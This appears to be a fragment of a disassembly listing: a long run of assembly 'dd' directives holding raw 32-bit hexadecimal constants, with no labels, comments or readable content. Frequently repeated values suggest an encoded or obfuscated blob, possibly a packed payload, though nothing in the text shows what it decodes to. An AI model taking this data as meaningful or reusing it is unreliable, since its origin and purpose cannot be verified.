		dd 878F1656h, 11BBB491h, 286B5E0Bh, 664EDB00h, 4E533215h
		dd 0E667E79Fh, 0CA2F383Eh, 62C56474h, 266C531h,	420DB91Bh
		dd 0E78CF696h, 200C5FEh, 67AC3D1Bh, 9E113215h, 668835FCh
		dd 0BA185515h, 0CEDCA278h, 76055A40h, 91D560F9h, 60A1F3C0h
		dd 8BA3E7E2h, 0DD12F72Ah, 69D5D914h, 6644339Ah,	0DB19CB15h
		dd 61F81804h, 66B4B01Ah, 0D3243215h, 6624DAB4h,	0A4773215h
		dd 0AA7FF318h, 664437FDh, 5C5DC315h, 384A3804h,	69730974h
		dd 66441993h, 6636DB15h, 0E5CB3215h, 0F231EF2Fh, 6416EB11h
		dd 0A080E899h, 0F02EDEA5h, 0A61A430h, 6BBCDFCh,	698CEF95h
		dd 66113098h, 746B915h,	40598F9Eh, 4235FCh, 2747ADh, 0A1E9F59Eh
		dd 8F5F8F90h, 66223212h, 0D9775215h, 0E7EE80CDh, 7B48FC7h
		dd 662EDB75h, 0C273215h, 7A9A217Ah, 10DC6364h, 76CB6C98h
		dd 0DE113215h, 19FF7359h, 4A0C1C75h, 0E8AF9468h, 0EFEE8BE3h
		dd 8FBD23A0h, 67CD3D12h, 93223215h, 0F895AF98h,	8FE835E4h
		dd 66443212h, 8DB3692Dh, 0DEB537B5h, 5BEEFF9Bh,	8F97CD74h
		dd 66223206h, 0E574D0B7h, 8188F3Ah, 0C4FFA2C5h,	0A76E0A88h
		dd 6D434F15h, 420C3DD5h, 6443215h, 9DA9FC9Eh, 6668DB74h
		dd 72613215h, 7D443215h, 0B8EC534h, 134AFE75h, 3247D6Dh
		dd 0D2E642F8h, 0EB67DB6Eh, 88D48E88h, 0E587C712h, 66443214h
		dd 69F1CDE9h, 99EE4C96h, 0D303CAEAh, 61AD0704h,	0DB97BBEDh
		dd 8F16DB0Eh, 6688321Eh, 0CA9E6C71h, 5F1598D3h,	0EBA55748h
		dd 895CD088h, 0B5BBC712h, 662226FCh, 67DED715h,	2853327Ah
		dd 543D8908h, 0AE32E2FBh, 0A9A89434h, 668DDB80h, 3DD13215h
		dd 0EDCA90C9h, 8F3B2390h, 6687DB12h, 78003215h,	786FEC96h
		dd 1F29123Fh, 3DC6C314h, 77C1BBCAh, 6925DB20h, 6611339Bh
		dd 69E9C715h, 66443595h, 7425215h, 7D8851Ah, 69600C95h
		dd 6644D490h, 0DBA1CB15h, 61F8216Ch, 0BE0C3D15h, 8F443215h
		dd 66223205h, 19E8AD67h, 0E017967h, 99EFC7F8h, 0FEE081D0h
		dd 6670257Dh, 4294BB15h, 9ECCDBA2h, 0EC2D524Eh,	66113217h
		dd 0EC875375h, 66443218h, 66223AFCh, 87CB5715h,	96A41FAEh
		dd 69EE53E8h, 66222995h, 0E61E5215h, 66883215h,	66443FFDh
		dd 82F0D715h, 0D7549DB1h, 26EFA474h, 71E6C1Eh, 661E877Dh
		dd 4225BB15h, 0EF87524Dh, 66443216h, 7F5851Ah, 6617B21Ah
		dd 0EDE83215h, 72552EEh, 108F8B44h, 0AE1012BEh,	4B701B4Ch
		dd 46EF44B8h, 66223EFCh, 896E3E15h, 0E2788F5Ah,	0FCB7DC72h
		dd 629B639Dh, 4B113215h, 59144C2Dh, 5E41FA3Ch, 3F1DAE6Bh
		dd 66113DFCh, 3E899C15h, 0E99B1BBAh, 7A39EED7h,	6B553D3Dh
		dd 0F361C7BEh, 69443217h, 66223396h, 0EBE4CE15h, 970CBC88h
		dd 6AC83D12h, 8F223215h, 66113212h, 0F0B321F3h,	998BE65Ch
		dd 662ADBC6h, 6C403215h, 3B01B410h, 0FBC9F860h,	61D3AB18h
		dd 9FC2CDEDh, 0E387F21Eh, 66443230h, 662223FCh,	5CA96B15h
		dd 0A7FB5391h, 2691F608h, 517C79BCh, 43F8D618h,	8F883215h
		dd 66443210h, 649FB3FEh, 7794B168h, 638FDB20h, 66443BFCh
		dd 7CF03915h, 366C537h,	0FF618913h, 9FBBCDEBh, 0FD1FAF98h
		dd 63F835E4h, 50883215h, 35DBBE48h, 76CBE1EAh, 64113215h
		dd 83A4A21Eh, 4D87C00Bh, 75316C9Ah, 6219463h, 668838FCh
		dd 0D6BF8515h, 251D0D9Eh, 8F189424h, 66883201h,	49F8A9D3h
		dd 0A2D878E9h, 9999CDADh, 599A4ECDh, 491E1229h,	69E23974h
		dd 66111E90h, 6684DB15h, 0AD2C3215h, 2ED8F4E9h,	0B6A128EDh
		dd 3D61E6B7h, 8F443215h, 66223204h, 44162021h, 0D1FB9D37h
		dd 6FAEA1CCh, 88749DCAh, 62FDB3F9h, 0EF883215h,	62F91639h
		dd 67223215h, 6DF86FFFh, 0BB883215h, 9D700198h,	6551890Ah
		dd 0FF812F9h, 6883214h,	0A471D194h, 74CB13E6h, 0B113215h
		dd 0AE38962h, 8D01BB8Bh, 7DA49541h, 0C974741Bh,	0FB0553E9h
		dd 61AAF7A9h, 63A93D75h, 113215h, 8A8EC094h, 664422FDh
		dd 1524DF15h, 0FBFD1CE9h, 8FF70407h, 77B85E24h,	3E7B63C1h
		dd 69C2CD74h, 66880596h, 6BC23D15h, 8F223215h, 6611321Dh
		dd 0E5BD55A4h, 0E4DE9FEAh, 5333879Eh, 0EB1E35FCh, 66883219h
		dd 664435FCh, 0D058C715h, 39093033h, 66A715FCh,	67C73D15h
		dd 9F223215h, 5300BF9Eh, 766135FCh, 0C2443215h,	1C4174F1h
		dd 63F40F01h, 61DACEC2h, 0EF35AAF7h, 8F1723A0h,	6BF95212h
		dd 0EF883215h, 0E48A4B0Ah, 0E0FD98EBh, 952B6316h, 3D61FE95h
		dd 84A2B373h, 0DB775393h, 4C014856h, 0E7C5EFE2h, 546044D0h
		dd 0A3A37F73h, 1B930484h, 143ADF94h, 8F457C1Ah,	0E7D31B48h
		dd 0F27F22FCh, 6682DB7Eh, 0E27C3215h, 70FD88FAh, 99E310A2h
		dd 6689DB94h, 0B7B33215h, 6628B91Ah, 0E7713215h, 14968DCDh
		dd 7255225h, 2DB4F494h,	88905B26h, 1E2947D3h, 0A0C5FC3Ch
		dd 1E8347D3h, 2D87DC94h, 8FE85B26h, 66443206h, 41E83753h
		dd 0B142892Ah, 35A9AD3Fh, 0E5FE7900h, 7E0D24Fh,	9E7196E6h
		dd 3D5AF594h, 8F252186h, 99DDCE81h, 661139FCh, 7F3F0115h
		dd 86E4D2DDh, 13F8A3DDh, 0B0D0AF98h, 997435FAh,	0EF11CAC6h
		dd 0EDCABBE8h, 0A2921639h, 0E3A3CA11h, 61AD1408h, 6636B41Ah
		dd 0EB1E3215h, 6688321Bh, 66443BFCh, 9BC75715h,	0AB085022h
		dd 0E3010445h, 61AD206Ch, 662ABA1Ah, 0EB1E3215h, 66883217h
		dd 0E3CF5375h, 61CB1408h, 0B1AE3D75h, 7F78B373h, 0EB85344h
		dd 66220DC0h, 8F350E9Ch, 66883213h, 0E50E252Ch,	944A213Fh
		dd 0EF113208h, 77611611h, 2C443215h, 0F0460C2Fh, 2435B0B9h
		dd 65B7CD90h, 5F79B2CDh, 0BEFABF98h, 0E51E35FAh, 6688321Dh
		dd 6646B41Ah, 7423215h,	0DF71E3EAh, 6CE50440h, 0D3FEB94h
		dd 6943400Bh, 6611389Fh, 668DDB15h, 0F773215h, 0ED198886h
		dd 8F181B90h, 0C305212h, 6570DD0h, 0E7445375h, 70CEFFEh
		dd 326B5A74h, 62CD3215h, 6FCA5231h, 0C4113215h,	0B0326615h
		dd 0ADC7D307h, 0E436BE0h, 66113724h, 69AC0E9Ch,	66443396h
		dd 0E3A9CA15h, 61F81408h, 668838FCh, 0A153BE15h, 55E30331h
		dd 364F78DDh, 628DD29Ch, 0E5443215h, 62A536FDh,	62986E31h
		dd 0D9875231h, 6655DBDDh, 0CFD03215h, 65F27DE0h, 4FD34209h
		dd 9DB6D4A6h, 71BF778h,	0BFF5BF98h, 0E48735FAh,	66443210h
		dd 9F9D3D75h, 75F95274h, 13883215h, 0BF7CB2F8h,	37948D7Bh
		dd 40187182h, 81C881B6h, 3E14B51Eh, 9CA9544Eh, 69C0CD74h
		dd 66883599h, 67CB3D15h, 9E223215h, 4205B945h, 8F8CF696h
		dd 66443219h, 2FAD1E27h, 6BCA27F6h, 29A331D5h, 0EF83BB42h
		dd 421EB9ECh, 6615F694h, 4D743215h, 8F4D1B98h, 6633DB12h
		dd 0E1DD3215h, 7B60126Fh, 4C30D930h, 755A1B0Bh,	0E560AF50h
		dd 8F80CBA8h, 0E24B3212h, 662232BDh, 661138FCh,	8D438715h
		dd 6D9BB777h, 0ED3EEA8Ah, 8F32FF90h, 6687DB12h,	3F493215h
		dd 0AB9D39AAh, 85DDD33h, 0E418B301h, 9FC11935h,	8F25DB1Dh
		dd 66113207h, 0D2D684F7h, 57FDD2A2h, 564622C9h,	0EEAD149Dh
		dd 0A7B3F527h, 661EB41Ah, 6DE3215h, 0BCD695h, 2A60D094h
		dd 47C1B974h, 9F25DB15h, 6EE8B716h, 69E835FCh, 66442096h
		dd 662EDA15h, 5423215h,	0C6C2AE4h, 367ABC50h, 697C29C4h
		dd 6611309Ah, 7E95215h,	6965B79Ch, 4235FCh, 7AC1F594h
		dd 74BB973h, 67D0DBEDh,	63CB3215h, 0C9113215h, 9C829674h
		dd 0E7A2BB43h, 662236D3h, 62FFB115h, 3AAC0692h,	8F603E9Ch
		dd 66223212h, 703836F1h, 8F61411Ch, 66443219h, 0E1F673BEh
		dd 0DED1AE27h, 0DC2B6D5Eh, 52C56346h, 9E6BF731h, 95906933h
		dd 40707BD0h, 61FEA9Ch,	697EFD95h, 66113699h, 1335415h
		dd 0D91353DAh, 66223214h, 9F4ECA3Ch, 51978946h,	8DC57FC4h
		dd 3A2B38B8h, 0A590D9C4h, 66883214h, 0D58FB35Eh, 0E7031439h
		dd 803F8EFEh, 3D503B6Ch, 0DC225275h, 6943574Ch,	0F070F9AAh
		dd 3EDE6253h, 0E3CDC74Bh, 61CB11D8h, 79433E0h, 938FDB10h
		dd 6EBDB7D2h, 662235FCh, 76F83215h, 7E883215h, 6B40BA7Bh
		dd 0B58C1ED6h, 8958417Ch, 0CE273FCh, 662CC755h,	8F223205h
		dd 66113218h, 0C4A30A97h, 324CC5F8h, 0DFD27A77h, 62165A34h
		dd 6A013215h, 662ECA31h, 662EB21Ah, 0E91E3215h,	66883213h
		dd 6644BD1Ah, 0F3DD3215h, 61F81968h, 0E4375475h, 76687BBh
		dd 662235FCh, 0A4139215h, 713AD004h, 46E5A7EAh,	0E42D35FCh
		dd 66113219h, 95375475h, 66C83D22h, 7223215h, 6630B79Ch
		dd 0E28735FCh, 66443214h, 47A7BBECh, 8F16DB1Ah,	66883201h
		dd 7890202Eh, 439E2BC6h, 5A9B7B41h, 860C69C8h, 1EAFBB59h
		dd 869B5475h, 0A1F1B3D0h, 7D43EE6h, 31603E9Eh, 0A1A3D59Ch
		dd 66113211h, 668CF594h, 5AC33215h, 69CB6E31h, 29113215h
		dd 9EB3DFEBh, 9346282h,	417BD72Ch, 0D3EECE91h, 61613D34h
		dd 3915CE75h, 4F97CD74h, 6916DB1Ch, 66883E9Fh, 6643DB15h
		dd 0AEBF3215h, 55F5CD91h, 810165E8h, 6640F594h,	89A13215h
		dd 422DB511h, 42B4BB49h, 90FB3D75h, 6627B21Ah, 0FDAB3215h
		dd 7B8AFF6h, 405987EAh,	0EBDB35FCh, 89E5FE90h, 7D5212h
		dd 7177D094h, 69F2CD74h, 6611339Eh, 0EB89CA15h,	61AD3AECh
		dd 479FB9E9h, 616DB1Ah,	7CFEA95h, 6F6D879Eh, 8F4235FCh
		dd 66113201h, 1829FC43h, 1622AD6Ch, 4BB280B0h, 0F8855976h
		dd 0C711AE34h, 95254EA0h, 6628DBB1h, 98463215h,	0C34F7C30h
		dd 507D7C6Ah, 44D7879Eh, 61F835FCh, 0CD883215h,	3DE954A7h
		dd 61CBA7E1h, 2E113215h, 4309F185h, 8FE97D12h, 66223218h
		dd 7F85EEC0h, 0FDB0606Ah, 0B01EB3EBh, 899A6267h, 0A746BB70h
		dd 5B8D3AFDh, 5345AF22h, 67D6F2B7h, 0EDED749Ch,	0A2091611h
		dd 66443211h, 662238FCh, 0F9510915h, 9FCF82F2h,	0A7126982h
		dd 76CB37D5h, 8B113215h, 924A85A3h, 3381E3E7h, 1ECEA9C3h
		dd 35308069h, 899AA0AEh, 60AFF35Ch, 8DA3E1E2h, 0A9EACA00h
		dd 8FD3EA14h, 66443210h, 72872872h, 0E312CEC3h,	61612018h
		dd 664434FCh, 11084D15h, 9F02108Bh, 69A9BF9Eh, 69BC35FCh
		dd 66223A90h, 64963D15h, 6883215h, 0ACCD6074h, 72A9229Ch
		dd 62D5B131h, 6684B71Ah, 0EE4B3215h, 66223213h,	6611B91Ah
		dd 6253215h, 8F25C7E9h,	66223219h, 8511956Bh, 63CB0117h
		dd 1A3D6FF0h, 602D8946h, 0BDE66406h, 918BD1D4h,	0DB1171C6h
		dd 0D6BA026Dh, 0EF4CD93Ch, 69D3CE4Bh, 66443392h, 0EFDBCB15h
		dd 8F33C7A0h, 6C615212h, 6443215h, 984C2421h, 2623CEBh
		dd 9E0B5360h, 0B7C13DEAh, 6223215h, 0ABD2B373h,	580953BFh
		dd 0BB99EFC8h, 669CB71Ah, 61F83215h, 0CA883215h, 34C3867Bh
		dd 72CBBF85h, 70113215h, 0A3ABDC82h, 3FE34F4Ah,	818BF664h
		dd 841907FFh, 35D03F16h, 2D3D8847h, 0E7682A5Eh,	8151A2D7h
		dd 6E6AF354h, 1CB6B357h, 0EF79A72Eh, 60D668C6h,	0F91016Eh
		dd 8F1F2C3Ch, 66223210h, 59F31EA2h, 730F3DD9h, 8F443215h
		dd 66223205h, 994E05C5h, 69A2D57Ch, 9A2D6023h, 8F1EE469h
		dd 6605AC7Dh, 42B4BB15h, 664436AAh, 39DC3315h, 6602DB75h
		dd 0F1363215h, 0A35F21D3h
		dd 0F42C9D12h, 0D814806Dh, 0B7DC7FF9h, 0D3CD53C2h, 61CB10E0h
		dd 0EFB975h, 8FE9C09Eh,	99BBE60Fh, 6625B71Ah, 0E51E3215h
		dd 66883214h, 67CE3DEDh, 93223215h, 612F2D4h, 0DF29D095h
		dd 2F9EFFCBh, 6BA73174h, 616DB07h, 668839FDh, 0F2EF5E15h
		dd 0C25E384Bh, 1A8219D2h, 9FD6F99Eh, 0DBC7CB74h, 61CB2A84h
		dd 0AE953D14h, 6883216h, 664421FCh, 81FF4215h, 7106EE0Bh
		dd 31AF00BDh, 0A19BC3B5h, 5BE8E9A9h, 661AB71Ah,	60613215h
		dd 79443215h, 0D78E09A4h, 589053BFh, 0CC2298BFh, 66FEB71Ah
		dd 77CB3215h, 28113215h, 1A2D804Dh, 0F4416C3Ch,	885C0E68h
		dd 29F52911h, 668C5A46h, 671F3215h, 61CB69CBh, 0A4113215h
		dd 28BC2A34h, 0DD1784F5h, 99DDCDE9h, 0DC43C114h, 46090DA2h
		dd 59F331D2h, 750B1294h, 69F8694Fh, 0A9883215h,	0B51AFD89h
		dd 0D38A74Ch, 844B4778h, 57717478h, 578303EDh, 96A952EDh
		dd 0A04E8A73h, 0D3D9CA74h, 0FDA9B23Ch, 0B8DF95h, 66E48245h
		dd 0EED054D0h, 6B16BFDh, 6624B91Ah, 85903215h, 4C79B3A2h
		dd 8F25CEA7h, 6622327Bh, 0BCA85475h, 0CE7AB222h, 7FC63D74h
		dd 69223215h, 66112190h, 6686DB15h, 68343215h, 15330718h
		dd 45C0BAE4h, 1085BBC3h, 62CF6545h, 62E6B331h, 39113215h
		dd 668822FCh, 0EF1CB915h, 9366055Ah, 4C062B69h,	1C2F7A4Ah
		dd 0D8F16355h, 0E620D7D5h, 0ABEF51D8h, 0EE9ADF95h, 4248B9FDh
		dd 6626F694h, 61F83215h, 0DB883215h, 497D7BD0h,	0EF72D286h
		dd 661537F5h, 8E0B3215h, 4240B511h, 4226BB49h, 67ACB1ECh
		dd 678FDB09h, 6701B61Ah, 60CB3215h, 14113215h, 364189D8h
		dd 22C6027h, 3C23B158h,	6D4DD894h, 8C49418Bh, 8686B311h
		dd 34D513B9h, 63351E94h, 3EB83F49h, 6B183710h, 0E5DE6825h
		dd 97064AA8h, 0E2873212h, 6644322Bh, 0C7D0B275h, 458CBF74h
		dd 68FC21Eh, 0ADF33D75h, 662235FCh, 33125815h, 0D9E11571h
		dd 65CB3D74h, 0E6223215h, 697055C8h, 6688339Dh,	0B5BBC715h
		dd 66223BFCh, 3ACC5D15h, 0CABF1547h, 59C44BB8h,	52A63D85h
		dd 8F113215h, 66883212h, 104C6B49h, 363CE3A8h, 66148847h
		dd 0B6013215h, 3E83334Fh, 6623B61Ah, 8FE43215h,	668833D2h
		dd 664438FCh, 0B17B0715h, 0E6811D35h, 0E5C01E50h, 0E44B62EDh
		dd 66223296h, 661137FCh, 0B8BE4115h, 0E22A65Fh,	0EF445C6Dh
		dd 0F6A31601h, 3CEEE29Dh, 918FB375h, 74DA178h, 660BB71Ah
		dd 8EE83215h, 66443219h, 0C4FFBF1Ah, 8DEA0Ah, 8281F3F2h
		dd 66CF3D4Bh, 7223215h,	661ADBBFh, 28373215h, 7DE37D6Ch
		dd 4372E06Ch, 4225CDB5h, 624CB14Dh, 20848875h, 0ED442642h
		dd 69BB53EEh, 66883399h, 60ADC715h, 67223215h, 66BCAF5Ch
		dd 6637DBBCh, 0D8243215h, 609D5DC5h, 0ED704DA4h, 0EFD81611h
		dd 664037F5h, 0A6A13215h, 4215B511h, 6685DB49h,	890F3215h
		dd 0CAD5130Eh, 3DDD5278h, 0CCC74A60h, 6656DB75h, 4F9E3215h
		dd 7ED18E8Bh, 7E0BF298h, 73EB86A3h, 206983DAh, 7D2B973h
		dd 8F774D95h, 662FB71Ah, 68CB3215h, 0E9113215h,	0A3B1BD89h
		dd 0E9DA4818h, 0C36E0E9Eh, 1EACB143h, 668FC302h, 6667B61Ah
		dd 72CB3215h, 0AD113215h, 0D3E9DC90h, 8B0B2D3Ah, 11DAA997h
		dd 3EF48CC9h, 0EB364986h, 964DF688h, 0B5DDCE12h, 0EE4060E0h
		dd 3F42BAD4h, 3C40659Dh, 6635B31Ah, 74F83215h, 0C9883215h
		dd 0E71E3811h, 0E7A7B68Bh, 52058182h, 8EF36FFh,	47C1B928h
		dd 9F25DB1Ah, 0DA5A1938h, 75A7375Ah, 9E6D5BDAh,	0A9311D38h
		dd 2D3A377Ch, 0ED877DA9h, 66443206h, 66223CFCh,	92E55E15h
		dd 0FBE06BE9h, 98CCCA63h, 6E22345h, 4BDAF194h, 7714096h
		dd 0D678D42h, 9165069Bh, 65E6B3CAh, 0E7B48162h,	0F63308E2h
		dd 87D5B319h, 4FEA6081h, 6F616DEDh, 0E6443215h,	0AF8A864Ch
		dd 1E0E3042h, 0EDEE52BEh, 0BEC554EFh, 0CB431F11h, 709C3D75h
		dd 8F883215h, 66443204h, 6D2EC11Dh, 0E6D8B93Fh,	78404591h
		dd 3A35F36Ah, 0A1A954B3h, 66AB6074h, 33883215h,	8CDE79Ch
		dd 6786FE9h, 0ED77C79Fh, 0B26153D2h, 8FBBCDEFh,	6622321Ah
		dd 5FB1FD8Bh, 760D9F55h, 299E2142h, 0EFE62D6Bh,	8F33C7A0h
		dd 760C3D12h, 8F443215h, 6622321Eh, 1C1FF544h, 3E83F804h
		dd 35E54F1Ch, 0A5A3D19Ch, 66113211h, 0E18CD996h, 0EF181609h
		dd 68CB1601h, 63113215h, 899A486h, 8B846552h, 0B850AA08h
		dd 0E31E523Bh, 6688320Ch, 664426FCh, 82451815h,	0F431B60Eh
		dd 0A845659Fh, 0CB19C39Bh, 0FC60D1D5h, 0F268874h, 0EE9495Bh
		dd 6644B215h, 0E32D5275h, 66113215h, 69E95375h,	66443094h
		dd 7796115h, 6614DB75h,	51853215h, 8F3AC167h, 6622321Dh
		dd 6D09ACF8h, 227A6B83h, 69445874h, 6622239Fh, 661DDB15h
		dd 0EF563215h, 4CABC690h, 0BCD2E152h, 0D3EEE51Bh, 61612138h
		dd 664DDB75h, 0EE943215h, 0ABA15FE9h, 30AF3D94h, 8C4B8B73h
		dd 0F3DD534Bh, 61F83350h, 429CB9EDh, 0E7A1BB40h, 662236D0h
		dd 62D4B315h, 0E1883215h, 69181639h, 66223B97h,	0E01E5215h
		dd 66883215h, 0EBCF53EDh, 61CB38FCh, 2110F5EDh,	91A44447h
		dd 9955C50Ch, 9923CD14h, 2F20B314h, 6A44447h, 664438FDh
		dd 49C72D15h, 0C81EA09Ah, 0ECC92FF9h, 0E72268F4h, 7B569C6h
		dd 66158946h, 0A7093215h, 357F044Dh, 8FA3EB14h,	352A044Dh
		dd 6682DB4Eh, 0A57D3215h, 8A32C6ADh, 6664C18Ah,	668834FCh
		dd 7B985E15h, 0EFA5F264h, 8F1BDB98h, 668DDB12h,	0FF213215h
		dd 8F68C8ADh, 99EEF447h, 4B9ADBEDh, 0E7243215h,	1F0D47D2h
		dd 661EDA49h, 73913215h, 0AEC2F09Ch, 41953352h,	10EF8457h
		dd 3ED3648Eh, 69245274h, 66222A9Ch, 6602DB15h, 48AD3215h
		dd 85CB96Eh, 0A52F369Dh, 0FC29C39h, 8F677B66h, 0A0CF5454h
		dd 8FAFB974h, 8F16DB1Fh, 66883201h, 80802AC4h, 8DA20458h
		dd 325617D4h, 84271936h, 3A635365h, 66228847h, 0AC103215h
		dd 520900EAh, 0F949D431h, 97A36B20h, 538E3FF3h,	669ADB4Fh
		dd 0AAEE3215h, 0AFC6FF70h, 87D03DDEh, 0D0CD1085h, 463680CAh
		dd 12AFBBEDh, 6916C302h, 66883D96h, 664EDB15h, 443E3215h
		dd 55F2CD8Ch, 93FE0227h, 320A0A94h, 0E32D7E51h,	661132ADh
		dd 669FB11Ah, 8F243215h, 66223205h, 0EF5B976Dh,	782A75Ch
		dd 0E4B6652Ch, 64F946AFh, 1E905474h, 69A67E11h,	6644BD90h
		dd 32955215h, 66113CFCh, 0DEE22B15h, 40AB92A0h,	46C57DACh
		dd 70BCECAh, 42A4B345h,	21507B8Ah, 0E506069Eh, 0A09036D1h
		dd 219C7B8Ah, 6648DB75h, 0B3C83215h, 0CCAF29C3h, 5180620Ah
		dd 0EC12C312h, 36436CE8h, 661134ADh, 5A4EB315h,	674E0236h
		dd 5ACCB3D3h, 3E1B0236h, 0B80952E0h, 3806D6D0h,	662223FCh
		dd 97266015h, 9E961931h, 7A282F5h, 4C1D2228h, 0ED70B4A2h
		dd 8F914790h, 0C8ADCB12h, 69223210h, 6611359Ah,	67053D15h
		dd 9E443215h, 0A4AB6044h, 0EF4BE39Ch, 69E86BDBh, 0FF2F0AAh
		dd 72A96274h, 62D5B131h, 8F4103ECh, 6644321Bh, 5F433880h
		dd 0DC93C042h, 1D8AE961h, 0CAB1773Ah, 66223DFCh, 0DB05C815h
		dd 7DD741A2h, 0C1BE4DA4h, 6C2DFCC9h, 63F86075h,	6A883215h
		dd 0AA66B323h, 661E534Ah, 676FB61Ah, 0E8873215h, 66443211h
		dd 7F48175h, 0E21E1F29h, 9977CDD6h, 4878CAECh, 66F9B61Ah
		dd 0E21E3215h, 66883203h, 664423FCh, 975EBF15h,	490EFD76h
		dd 53C15B4Ch, 408D7B20h
		dd 561EFAF6h, 63F1B01Ah, 63613215h, 0CE443215h,	8EF4A2A0h
		dd 0E01E0B29h, 9977CD96h, 6645BE1Ah, 5ADB3215h,	0D9933D54h
		dd 6883210h, 0A28EAAAh,	0A8A95456h, 694B0E74h, 99775093h
		dd 7FC53DEAh, 8F223215h, 66113201h, 80368DB3h, 846C2B42h
		dd 0B11E96F6h, 0E71C30B8h, 32E98D5Ah, 64C03D75h, 0EC223215h
		dd 0A6AE54D4h, 39B453B1h, 9969B61Ah, 5ADACDEAh,	9933D74h
		dd 8F883210h, 6644321Ah, 2569EE87h, 4769C548h, 7959FE23h
		dd 5AEFF824h, 6EA43D6Fh, 9FEECDEAh, 668D7FFCh, 6650DB15h
		dd 57463215h, 0A6D94B14h, 7FA08421h, 0CAF08F3Eh, 2CACEB0Dh
		dd 367177B1h, 0DED1F19Fh, 0EB1AE7Ch, 0C19C6474h, 0E718C052h
		dd 9AFA08D3h, 338AB360h, 0E74CC953h, 862845E3h,	8366B349h
		dd 0E733F033h, 0C44250E3h, 38E31B41h, 6694B81Ah, 8F243215h
		dd 66223210h, 7F61F841h, 6683DB76h, 4E463215h, 824F7A30h
		dd 0F5E61C7Ch, 94B1539Dh, 629CB61Ah, 0E52D3215h, 66113214h
		dd 2F42B5EDh, 0B775F824h, 0EA2DF824h, 66113212h, 6689B41Ah
		dd 36BD3215h, 662233ADh, 3ED03315h, 0E77CB875h,	0BCA06CC5h
		dd 3ECB5329h, 9EEECDEBh, 0E287FB90h, 6644368Fh,	0DB97BFECh
		dd 616DB1Bh, 3640B973h,	3EBD851Ah, 77A75A74h, 52983215h
		dd 0EF5EBB31h, 0EB4B6CE4h, 66223219h, 6617B71Ah, 0EF873215h
		dd 66443215h, 4226B347h, 97B661Ch, 6F32604Ah, 4F2B5841h
		dd 61CB68C2h, 14113215h, 43C998F5h, 0D117B0D2h,	0A6FDC48Ah
		dd 0D34030F2h, 0E66DE2AFh, 0A3C46DE0h, 0E6D7B247h, 0E648DD35h
		dd 9E0064FAh, 0D1F6524Eh, 9453A1AAh, 13BF533Bh,	0E387CEE8h
		dd 6644320Bh, 663ABC1Ah, 75F83215h, 97883215h, 716EAD98h
		dd 4ACF5B50h, 0F210E0A5h, 0A246D1F9h, 0A7C51F59h, 2AF46E25h
		dd 2069DB94h, 9FA11F43h, 203CF394h, 8FA31F43h, 2AC76E25h
		dd 668FBC1Ah, 0EC4B3215h, 66223214h, 619C3DE0h,	69883215h
		dd 66443396h, 8AA3CB15h, 66113211h, 91AC3E9Ch, 8F1D1609h
		dd 6622321Fh, 97C0347Eh, 2FC412ABh, 89C5E6E7h, 64BC3DF2h
		dd 489EDD94h, 0A9A12269h, 48CBF594h, 0A1A32269h, 648F3DF2h
		dd 668835FCh, 77170F15h, 63405994h, 661137FCh, 945F7915h
		dd 9175DE17h, 9113CC24h, 661122FCh, 23020A15h, 0B580417Bh
		dd 8FA0094Ah, 0DA05A9CBh, 62CC103h, 6DADFD9Eh, 0BD223215h
		dd 0C71F4E01h, 8812B32Bh, 372581BDh, 512E0AACh,	0DAE0B37Ch
		dd 0E7DCFE41h, 62E349D4h, 0A0DB33D7h, 6483214h,	648F095h
		dd 66443CFCh, 0D4CF0D15h, 0DDFD9E7Dh, 0C5E9269Bh, 744ED41h
		dd 0DBB7BF74h, 6916DB1Bh, 66882B97h, 75C43D15h,	8F223215h
		dd 6611321Bh, 5DBFFEE9h, 0E7C959EFh, 1A735FDAh,	0E39AFAC0h
		dd 61611CC8h, 6645B71Ah, 0E3DB3215h, 1A943DD5h,	8F883215h
		dd 66443204h, 56B83909h, 19A1FDBBh, 2190A8B6h, 929172C4h
		dd 74CB522Ah, 3B113215h, 461D0D94h, 1DEE0068h, 0D6339222h
		dd 0B9304154h, 773B962h, 401DB7D3h, 66535FCh, 6611B01Ah
		dd 6B3E3215h, 0C1965A74h, 0ED42E68Fh, 0D3EE53E2h, 61613904h
		dd 6645BA1Ah, 0EBDA3215h, 8A8EE990h, 0B677CB12h, 65CD3D75h
		dd 223215h, 0E71EE29Eh,	6688321Fh, 664437FCh, 6619A715h
		dd 37703D22h, 0A709D39Ch, 66443211h, 0E126DB96h, 0EF4D1619h
		dd 0E6E81601h, 8ECE01D1h, 8FF2CD74h, 66113204h,	0C6D4D918h
		dd 0EE87FB59h, 31C84BD6h, 26CAB0B8h, 6948B76Ah,	66456290h
		dd 6636DB15h, 0D8743215h, 0D3C2EBD9h, 0C4867FAFh, 0CBDE7A4Bh
		dd 48624A1Ch, 0E303C18Ch, 61AD3254h, 6624B91Ah,	6713215h
		dd 7D36074h, 0E34BF290h, 6622328Fh, 661122FCh, 0B22CC915h
		dd 0A67B74EDh, 0F4925E50h, 0D1C6042Fh, 3F0DF4B8h, 2A43DB33h
		dd 0A6F7B275h, 7AF85A74h, 6E61EBCFh, 96443215h,	3DB10A0Fh
		dd 99EB1C37h, 8F8323A0h, 0E0F05212h, 0A1B5E394h, 9E70036Bh
		dd 0F953B798h, 0E34B35F9h, 6622321Ah, 6617DB75h, 19C73215h
		dd 0BBDE24DDh, 6943F59Eh, 66110090h, 72605215h,	0A5443215h
		dd 0EB96AE73h, 9BC984B1h, 5EB694D9h, 0B153AE62h, 3C8CB08Bh
		dd 661123FCh, 0A0F6D615h, 372C5F91h, 0A7EB18C4h, 2033F10Eh
		dd 99E9B214h, 622CCBC5h, 0EF223247h, 69711601h,	66883491h
		dd 9796B315h, 693FFB66h, 9970F5A2h, 1C3252C5h, 6444EF9h
		dd 58EDB373h, 6605DB64h, 0FA793215h, 6FC0105Ch,	0FA7AFAF4h
		dd 592BE7F3h, 15FFA7C1h, 725C28Ah, 0E32DF290h, 6611322Ch
		dd 6690BC1Ah, 75AD3215h, 0E5223215h, 18268BEBh,	906A9F22h
		dd 64F13050h, 0C3A8AAD0h, 89F8FA11h, 8F883215h,	66443205h
		dd 0B5AA0114h, 349AD756h, 0E4564CB9h, 632F807Bh, 12A7BBEDh
		dd 616C302h, 8F4F8D1Ah,	66443201h, 5671F4C2h, 345C7814h
		dd 0DC1A02FBh, 0C4BB6071h, 2A58596Ch, 6605DB74h, 34E43215h
		dd 0A1F20F02h, 0BC88B988h, 22341EC5h, 4242C276h, 0EF14BB9Fh
		dd 662637F5h, 623C3215h, 0E1883215h, 0EF181611h, 8FDB1611h
		dd 66113204h, 98EA885Dh, 0D790199Fh, 2BD32CD7h,	4F30E792h
